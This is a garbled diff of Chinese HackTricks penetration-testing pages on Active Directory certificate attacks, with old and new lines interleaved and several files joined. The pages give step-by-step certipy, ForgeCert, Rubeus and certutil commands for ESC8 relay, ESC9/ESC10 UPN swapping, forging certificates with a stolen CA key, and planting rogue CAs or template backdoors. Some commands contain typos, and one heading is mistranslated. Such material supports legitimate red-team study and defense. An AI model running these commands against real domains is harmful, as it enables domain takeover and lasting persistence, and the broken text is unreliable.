Get-CertificationAuthority | select Name,Enroll* | Format-List * Get-CertificationAuthority | select Name,Enroll* | Format-List *
``` ```
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
#### 利用 Certify 进行滥用 #### 滥用Certify
```bash ```bash
## In the victim machine ## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -381,11 +395,11 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
``` ```
#### 利用 [Certipy](https://github.com/ly4k/Certipy) #### 利用 [Certipy](https://github.com/ly4k/Certipy)
默认情况下Certipy 会根据 `Machine``User` 模板请求证书,这取决于被转发的账户名是否以 `$` 结尾。可以使用 `-template` 参数指定另一个模板。 Certipy默认根据帐户名称是否以`$`结尾来基于`Machine`或`User`模板发出证书请求。可以通过使用`-template`参数来指定替代模板。
然后我们可以使用像 [PetitPotam](https://github.com/ly4k/PetitPotam) 这样的技术来强制认证。对于域控制器,我们必须指定 `-template DomainController` 然后可以使用类似 [PetitPotam](https://github.com/ly4k/PetitPotam) 的技术来强制进行身份验证。在处理域控制器时,需要指定`-template DomainController`
``` ```bash
$ certipy relay -ca ca.corp.local certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k) Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp [*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
@ -400,154 +414,122 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### 解释 ### 解释
ESC9 指的是**`msPKI-Enrollment-Flag`** **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)。如果证书模板上设置了这个标志,则**新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**将**不会**被嵌入。当 `StrongCertificateBindingEnforcement` 设置为 `1`默认值ESC9 才有用,因为较弱的证书映射配置对于 Kerberos 或 Schannel 可以被滥用为 ESC10 —— 如果没有 ESC9 —— 因为要求将会是相同的 新值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 用于 **`msPKI-Enrollment-Flag`** 的 ESC9阻止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1` 时(默认设置),与设置为 `2` 相对比,此标志变得重要。在较弱的证书映射用于 Kerberos 或 Schannel 的情况下(如 ESC10 中),此标志变得更加重要,因为缺少 ESC9 不会改变要求
* `StrongCertificateBindingEnforcement` 未设置为 `2`(默认值:`1`)或 `CertificateMappingMethods` 包含 `UPN` 标志 设置此标志变得重要的条件包括:
* 证书包含 `msPKI-Enrollment-Flag` 值中的 `CT_FLAG_NO_SECURITY_EXTENSION` 标志 - `StrongCertificateBindingEnforcement` 未调整为 `2`(默认为 `1`),或 `CertificateMappingMethods` 包含 `UPN` 标志。
* 证书指定任何客户端认证 EKU - 证书在 `msPKI-Enrollment-Flag` 设置中标记了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
* 对任何账户 A 有 `GenericWrite` 权限以妥协任何账户 B - 证书指定了任何客户端身份验证 EKU。
- 可以通过任何帐户获得 `GenericWrite` 权限以妥协另一个帐户。
### 滥用 ### 滥用场景
在这种情况下,`John@corp.local` 对 `Jane@corp.local``GenericWrite` 权限,我们希望妥协 `Administrator@corp.local`。`Jane@corp.local` 被允许注册证书模板 `ESC9`,该模板在 `msPKI-Enrollment-Flag` 值中指定`CT_FLAG_NO_SECURITY_EXTENSION` 标志。 假设 `John@corp.local` 拥有对 `Jane@corp.local``GenericWrite` 权限,目标是妥协 `Administrator@corp.local`。`Jane@corp.local` 被允许注册的 `ESC9` 证书模板在其 `msPKI-Enrollment-Flag` 设置中配置`CT_FLAG_NO_SECURITY_EXTENSION` 标志。
首先,我们获取 `Jane` 的哈希值,例如使用 Shadow Credentials利用我们的 `GenericWrite`)。 最初,通过使用 `John``GenericWrite` 获得 `Jane` 的哈希值:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
随后,`Jane` 的 `userPrincipalName` 被修改为 `Administrator`,有意省略了 `@corp.local` 域部分:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
这种修改不违反约束条件,因为`Administrator@corp.local`仍然作为`Administrator`的`userPrincipalName`保持不变。
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure> 随后,作为`Jane`,请求标记为易受攻击的`ESC9`证书模板:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
据指出,证书的 `userPrincipalName` 反映了 `Administrator`没有任何“object SID”。
接下来,我们将 `Jane``userPrincipalName` 更改为 `Administrator`。注意我们省略了 `@corp.local` 部分。 然后将 `Jane``userPrincipalName` 恢复为她的原始名称 `Jane@corp.local`
```bash
<figure><img src="../../../.gitbook/assets/image (2) (2) (3).png" alt=""><figcaption></figcaption></figure> certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
这不是一个约束违规,因为 `Administrator` 用户的 `userPrincipalName``Administrator@corp.local` 而不是 `Administrator` 尝试使用颁发的证书进行身份验证现在会产生`Administrator@corp.local`的NT哈希。由于证书缺乏域规范命令必须包括`-domain <domain>`
```bash
现在,我们请求易受攻击的证书模板 `ESC9`。我们必须作为 `Jane` 请求证书。 certipy auth -pfx adminitrator.pfx -domain corp.local
```
<figure><img src="../../../.gitbook/assets/image (16) (2).png" alt=""><figcaption></figcaption></figure> ## 证书映射弱点 - ESC10
注意证书中的 `userPrincipalName``Administrator`,并且发行的证书不包含“对象 SID”。
然后,我们将 `Jane``userPrincipalName` 更改回其他内容,比如她原来的 `userPrincipalName` `Jane@corp.local`
<figure><img src="../../../.gitbook/assets/image (24) (2).png" alt=""><figcaption></figcaption></figure>
现在,如果我们尝试使用证书进行认证,我们将收到 `Administrator@corp.local` 用户的 NT 哈希值。由于证书中没有指定域,您需要在命令行中添加 `-domain <domain>`
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
## 弱证书映射 - ESC10
### 解释 ### 解释
ESC10 指的是域控制器上的两个注册表键值。 域控制器上的两个注册表键值被 ESC10 提及:
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`。默认值 `0x18` (`0x8 | 0x10`),之前为 `0x1F` - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel``CertificateMappingMethods` 的默认值为 `0x18` (`0x8 | 0x10`),先前设置为 `0x1F`
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc``StrongCertificateBindingEnforcement` 的默认设置为 `1`,先前为 `0`
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`。默认值 `1`,之前为 `0`
**情况 1** **情况 1**
`StrongCertificateBindingEnforcement` 设置为 `0` `StrongCertificateBindingEnforcement` 配置为 `0` 时。
**情况 2** **情况 2**
`CertificateMappingMethods` 包含 `UPN` 位 (`0x4`) 如果 `CertificateMappingMethods` 包括 `UPN` 位 (`0x4`)。
### 滥用情况 1 ### 滥用案例 1
* `StrongCertificateBindingEnforcement` 设置为 `0` `StrongCertificateBindingEnforcement` 配置为 `0` 时,具有 `GenericWrite` 权限的帐户 A 可被利用来危害任何帐户 B。
* 对任何账户 A 有 `GenericWrite` 权限以妥协任何账户 B
在这种情况下,`John@corp.local` 对 `Jane@corp.local``GenericWrite` 权限,我们希望妥协 `Administrator@corp.local`。滥用步骤几乎与 ESC9 相同,除了可以使用任何证书模板。 例如,拥有对 `Jane@corp.local``GenericWrite` 权限,攻击者旨在危害 `Administrator@corp.local`。该过程与 ESC9 相似,允许利用任何证书模板。
首先,我们获取 `Jane` 的哈希值,例如使用 Shadow Credentials利用我们的 `GenericWrite`)。 首先,使用 Shadow Credentials 获取 `Jane` 的哈希,利用 `GenericWrite`
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
随后,`Jane` 的 `userPrincipalName` 被更改为 `Administrator`,故意省略了 `@corp.local` 部分,以避免违反约束。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
随后以默认的“User”模板作为“Jane”请求启用客户端认证的证书。
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane`的`userPrincipalName`然后被恢复为其原始值`Jane@corp.local`。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
使用获得的证书进行身份验证将产生`Administrator@corp.local`的NT哈希由于证书中缺少域详细信息因此需要在命令中指定域。
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### 滥用案例 2
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (19).png" alt=""><figcaption></figcaption></figure> 使用包含 `UPN` 位标志 (`0x4`) 的 `CertificateMappingMethods`,具有 `GenericWrite` 权限的帐户 A 可以妥协任何缺少 `userPrincipalName` 属性的帐户 B包括机器帐户和内置域管理员 `Administrator`
接下来,我们将 `Jane``userPrincipalName` 更改为 `Administrator`。注意我们省略了 `@corp.local` 部分。 在这里,目标是通过获取 `Jane` 的哈希值,利用 `GenericWrite` 来妥协 `DC$@corp.local`
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
`Jane`的`userPrincipalName`然后设置为`DC$@corp.local`。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
一个用默认的`User`模板请求以`Jane`身份进行客户端认证的证书。
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane`的`userPrincipalName`在此过程后被恢复为原始状态。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
使用Schannel进行身份验证时Certipy的`-ldap-shell`选项被使用,指示身份验证成功为`u:CORP\DC$`。
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
通过LDAP shell诸如 `set_rbcd` 这样的命令可以启用基于资源的受限委派RBCD攻击可能会危及域控制器。
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
## 通过证书解释被动语态来威胁森林
<figure><img src="../../../.gitbook/assets/image (5) (3).png" alt=""><figcaption></figcaption></figure> ### 通过受损CA破坏森林信任
这不是一个约束违规,因为 `Administrator` 用户的 `userPrincipalName``Administrator@corp.local` 而不是 `Administrator` **跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**,资源森林的**企业CA**证书被**添加到每个账户森林的`NTAuthCertificates`和AIA容器**中。澄清一下,这种安排赋予了资源森林的**CA对其管理的所有其他森林完全控制**。如果此CA被攻击者**破坏**,则这两个森林中所有用户的证书都可能被他们**伪造**,从而打破了森林的安全边界
现在,我们请求任何允许客户端认证的证书,例如默认的 `User` 模板。我们必须作为 `Jane` 请求证书。 ### 授予外部主体的注册特权
<figure><img src="../../../.gitbook/assets/image (14) (2) (1).png" alt=""><figcaption></figcaption></figure> 在多森林环境中,需要谨慎处理**发布证书模板**的企业CA这些模板允许**经过身份验证的用户或外部主体**属于企业CA所属森林之外的用户/组)**注册和编辑权限**。\
通过信任进行身份验证时AD会将**经过身份验证的用户SID**添加到用户的令牌中。因此,如果一个域拥有一个允许**经过身份验证的用户注册权限**的企业CA模板那么来自不同森林的用户可能会**注册该模板**。同样,如果**模板明确授予外部主体注册权限**,则会创建一个**跨森林访问控制关系**,使一个森林的主体能够**在另一个森林中注册模板**。
注意证书中的 `userPrincipalName``Administrator` 这两种情况都会导致从一个森林到另一个森林的**攻击面增加**。证书模板的设置可能被攻击者利用,以在外部域中获得额外特权。
然后,我们将 `Jane``userPrincipalName` 更改回其他内容,比如她原来的 `userPrincipalName` `Jane@corp.local`
<figure><img src="../../../.gitbook/assets/image (4) (1) (3).png" alt=""><figcaption></figcaption></figure>
现在,如果我们尝试使用证书进行认证,我们将收到 `Administrator@corp.local` 用户的 NT 哈希值。由于证书中没有指定域,您需要在命令行中添加 `-domain <domain>`
<figure><img src="../../../.gitbook/assets/image (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
### 滥用情况 2
* `CertificateMappingMethods` 包含 `UPN` 位标志 (`0x4`)
* 对任何账户 A 有 `GenericWrite` 权限以妥协没有 `userPrincipalName` 属性的任何账户 B机器账户和内置域管理员 `Administrator`
在这种情况下,`John@corp.local` 对 `Jane@corp.local``GenericWrite` 权限,我们希望妥协域控制器 `DC$@corp.local`
首先,我们获取 `Jane` 的哈希值,例如使用 Shadow Credentials利用我们的 `GenericWrite`)。
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png" alt=""><figcaption></figcaption></figure>
接下来,我们将 `Jane``userPrincipalName` 更改为 `DC$@corp.local`
<figure><img src="../../../.gitbook/assets/image (18) (2) (1).png" alt=""><figcaption></figcaption></figure>
这不是一个约束违规,因为 `DC$` 计算机账户没有 `userPrincipalName`
现在,我们请求任何允许客户端认证的证书,例如默认的 `User` 模板。我们必须作为 `Jane` 请求证书。
<figure><img src="../../../.gitbook/assets/image (20) (2).png" alt=""><figcaption></figcaption></figure>
然后,我们将 `Jane``userPrincipalName` 更改回其他内容,比如她原来的 `userPrincipalName` (`Jane@corp.local`)。
<figure><img src="../../../.gitbook/assets/image (9) (1) (3).png" alt=""><figcaption></figcaption></figure>
现在,由于这个注册表键适用于 Schannel我们必须使用证书通过 Schannel 进行认证。这就是 Certipy 新的 `-ldap-shell` 选项的用武之地。
如果我们尝试使用证书和 `-ldap-shell` 进行认证,我们会注意到我们被认证为 `u:CORP\DC$`。这是服务器发送的字符串。
<figure><img src="../../../.gitbook/assets/image (21) (2) (1).png" alt=""><figcaption></figcaption></figure>
LDAP shell 可用的命令之一是 `set_rbcd`它将在目标上设置基于资源的受限委派RBCD。因此我们可以执行 RBCD 攻击来妥协域控制器。
<figure><img src="../../../.gitbook/assets/image (7) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
或者,我们也可以妥协任何没有设置 `userPrincipalName``userPrincipalName` 与该账户的 `sAMAccountName` 不匹配的用户账户。根据我自己的测试,默认域管理员 `Administrator@corp.local` 默认没有设置 `userPrincipalName`,而且这个账户默认在 LDAP 中比域控制器拥有更多权限。
## 使用证书妥协森林
### CA 信任破坏森林信任
**跨森林注册**的设置相对简单。管理员将资源森林中的 **根 CA 证书** 发布 **到账户森林**,并将资源森林中的 **企业 CA** 证书添加到 **`NTAuthCertificates`** 和 AIA 容器 **在每个账户森林中**。明确地说,这意味着资源森林中的 **CA** 对其管理 PKI 的所有 **其他森林** 拥有 **完全控制权**。如果攻击者 **妥协了这个 CA**,他们可以 **伪造资源和账户森林中所有用户的证书**,破坏森林安全边界。
### 具有注册权限的外部主体
在多森林环境中,组织需要注意的另一件事是企业 CA **发布证书模板**,授予 **已认证用户或外部主体**(属于企业 CA 所在森林之外的用户/组)**注册和编辑权限**。\
当账户 **跨信任认证**AD 将 **已认证用户 SID** 添加到认证用户的令牌中。因此,如果一个域有一个企业 CA其模板 **授予已认证用户注册权限**,不同森林中的用户可能会 **注册该模板**。类似地,如果模板明确授予 **外部主体注册权限**,那么就会创建 **跨森林访问控制关系**,允许一个森林中的主体 **在另一个森林中注册模板**
最终,这两种情况都会 **增加** 从一个森林到另一个森林的 **攻击面**。根据证书模板的设置,攻击者可以滥用这一点,在外部域中获得额外的权限。
## 参考资料
* 本页的所有信息取自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
<details>
<summary><strong>从零到英雄学习 AWS 黑客攻击,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks** 中看到您的 **公司广告****下载 HackTricks 的 PDF** 版本,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**
</details>

View file

@ -2,88 +2,68 @@
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 **关注**[**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
## 使用被盗 CA 证书伪造证书 - DPERSIST1 **这是在 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) 中分享的持久性技术摘要**。查看以获取更多详细信息。
如何判断一个证书是 CA 证书? ## 使用窃取的 CA 证书伪造证书 - DPERSIST1
* CA 证书存在于 **CA 服务器本身**,其 **私钥受机器 DPAPI 保护**(除非操作系统使用 TPM/HSM/其他硬件进行保护)。 如何判断证书是否为 CA 证书?
* 证书的 **颁发者****主题** 都设置为 **CA 的独特名称**
* CA 证书(仅限 CA 证书)**具有“CA 版本”扩展**。
* 没有 EKUs
在 CA 服务器上使用 `certsrv.msc` 是支持的内置 GUI 方式来 **提取此证书私钥**。\ 如果满足以下几个条件,则可以确定证书是 CA 证书:
然而,这个证书与系统中存储的其他证书**没有区别**,所以例如查看 [**THEFT2 技术**](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) 来了解如何 **提取** 它们。
您也可以使用 [**certipy**](https://github.com/ly4k/Certipy) 获取证书和私钥: - 证书存储在 CA 服务器上,其私钥由机器的 DPAPI 或硬件(如 TPM/HSM如果操作系统支持安全保护。
- 证书的颁发者和主题字段与 CA 的专有名称匹配。
- CA 证书中独占存在“CA 版本”扩展。
- 证书缺少扩展密钥用途EKU字段。
要提取此证书的私钥CA 服务器上的 `certsrv.msc` 工具是通过内置 GUI 支持的方法。然而,此证书与系统中存储的其他证书无异;因此,可以应用[THEFT2 技术](certificate-theft.md#user-certificate-theft-via-dpapi-theft2)等方法进行提取。
还可以使用 Certipy 获取证书和私钥,命令如下:
```bash ```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
``` ```
一旦你拥有了带有私钥的 **CA cert** `.pfx` 格式,你可以使用 [**ForgeCert**](https://github.com/GhostPack/ForgeCert) 来创建有效的证书: 在获取了以 `.pfx` 格式保存的 CA 证书及其私钥后,可以利用类似 [ForgeCert](https://github.com/GhostPack/ForgeCert) 的工具生成有效证书:
```bash ```bash
# Create new certificate with ForgeCert # Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123! ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Create new certificate with certipy # Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL' certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Use new certificate with Rubeus to authenticate # Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123! Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# User new certi with certipy to authenticate # Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128 certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
``` ```
{% hint style="warning" %} {% hint style="warning" %}
**注意**:伪造证书时指定的**用户**必须在AD中是**活跃/启用**状态,并且**能够认证**因为仍将发生以该用户身份的认证交换。例如尝试为krbtgt账户伪造证书将不起作用 针对证书伪造的用户必须是活跃的并且能够在Active Directory中进行身份验证才能成功进行该过程。对于像krbtgt这样的特殊帐户伪造证书是无效的
{% endhint %} {% endhint %}
这个伪造的证书将在指定的结束日期之前是**有效的**并且只要根CA证书有效通常为5到**10+年**),它就是有效的。它对**机器**也是有效的,所以结合**S4U2Self**攻击者可以在CA证书有效期内**在任何域机器上维持持久性**。\ 这个伪造的证书将**有效**直到指定的结束日期并且只要根CA证书有效通常为5到**10年以上**)。它也适用于**机器**,因此结合**S4U2Self**攻击者可以在CA证书有效的情况下在任何域机器上**保持持久性**。\
此外,使用此方法**生成的证书无法被撤销**因为CA并不知道它们的存在。 此外,使用此方法生成的**证书**是**无法吊销**的因为CA不知道它们的存在。
## 信任恶意CA证书 - DPERSIST2 ## 信任恶意CA证书 - DPERSIST2
对象`NTAuthCertificates`在其`cacertificate`**属性**中定义了一个或多个**CA证书**AD在认证过程中使用它在认证过程中**域控制器**检查**`NTAuthCertificates`**对象是否**包含**认证中使用的**证书的**颁发者字段中指定的**CA**的条目。如果**包含**,则认证**继续进行** `NTAuthCertificates`对象被定义为在其`cacertificate`属性中包含一个或多个**CA证书**Active DirectoryAD使用这些证书。域控制器的验证过程涉及检查`NTAuthCertificates`对象,以查找与认证**证书**的Issuer字段中指定的**CA**匹配的条目。如果找到匹配项,则进行身份验证
攻击者可以生成一个**自签名CA证书**并将其**添加**到**`NTAuthCertificates`**对象中。如果攻击者对**`NTAuthCertificates`** AD对象有**控制权**(在默认配置中,只有**企业管理员**组成员以及**森林根域**中的**域管理员**或**管理员**有这些权限),他们就可以这样做。拥有高级访问权限的人可以使用`certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`,或使用[**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)从任何系统**编辑** **`NTAuthCertificates`**对象&#x20; 攻击者可以将自签名的CA证书添加到`NTAuthCertificates`对象中前提是他们控制了这个AD对象。通常只有**企业管理员**组的成员,以及**域管理员**或**林根域的管理员**被授予权限修改此对象。他们可以使用`certutil.exe`编辑`NTAuthCertificates`对象,命令为`certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`,或使用[**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)。
指定的证书应该可以**与之前详细描述的ForgeCert伪造方法一起使用**,以按需生成证书 当与先前概述的使用ForgeCert动态生成证书的方法结合使用时这种能力尤为重要
## 恶意配置错误 - DPERSIST3 ## 恶意配置错误 - DPERSIST3
通过修改AD CS组件的**安全描述符**,为**持久性**提供了大量机会。在“[域提升](domain-escalation.md)”部分描述的任何场景都可以被拥有高级访问权限的攻击者恶意实施以及向敏感组件添加“控制权”例如WriteOwner/WriteDACL等。这包括 通过对AD CS组件的安全描述符进行修改可以提供大量**持久性**机会。在"[域提升](domain-escalation.md)"部分描述的修改可以被具有提升访问权限的攻击者恶意实施。这包括向敏感组件(例如**CA服务器的AD计算机**对象、CA服务器的RPC/DCOM服务器、`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`中的任何后代AD对象或容器例如证书模板容器、证书颁发机构容器、NTAuthCertificates对象等、默认或组织授予控制AD CS权限的**AD组**例如内置的Cert Publishers组及其任何成员添加“控制权限”例如WriteOwner/WriteDACL等的机会。
* **CA服务器的AD计算机**对象 恶意实施的一个例子是,攻击者在域中具有**提升权限**,向默认的**`User`**证书模板添加**`WriteOwner`**权限,并将自己设置为权限的主体。为了利用这一点,攻击者首先会将**`User`**模板的所有权更改为自己。随后,在模板上将**`mspki-certificate-name-flag`**设置为**1**,以启用**`ENROLLEE_SUPPLIES_SUBJECT`**,允许用户在请求中提供主题备用名称。随后,攻击者可以使用**模板**进行**注册**,选择一个**域管理员**名称作为备用名称并利用获得的证书进行DA身份验证。
* **CA服务器的RPC/DCOM服务器**
* **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** 容器中的任何**后代AD对象或容器**例如证书模板容器认证机构容器NTAuthCertificates对象等
* **默认情况下或由当前组织委派控制AD CS的AD组**例如内置的Cert Publishers组及其任何成员
例如,一个在域中拥有**高级权限**的攻击者可以向默认的**`User`**证书模板添加**`WriteOwner`**权限,其中攻击者是该权利的主体。为了在以后滥用这一点,攻击者首先将**`User`**模板的所有权修改为自己,然后将模板上的**`mspki-certificate-name-flag`**设置为**1**,以启用**`ENROLLEE_SUPPLIES_SUBJECT`**(即,允许用户在请求中提供一个主题备用名称)。然后,攻击者可以**注册**该**模板**,指定一个**域管理员**名称作为备用名称并使用结果证书作为DA进行认证。
## 参考资料
* 本页的所有信息取自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS hacking</strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>

View file

@ -1,220 +1,15 @@
# Kerberos身份验证 # Kerberos Authentication
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
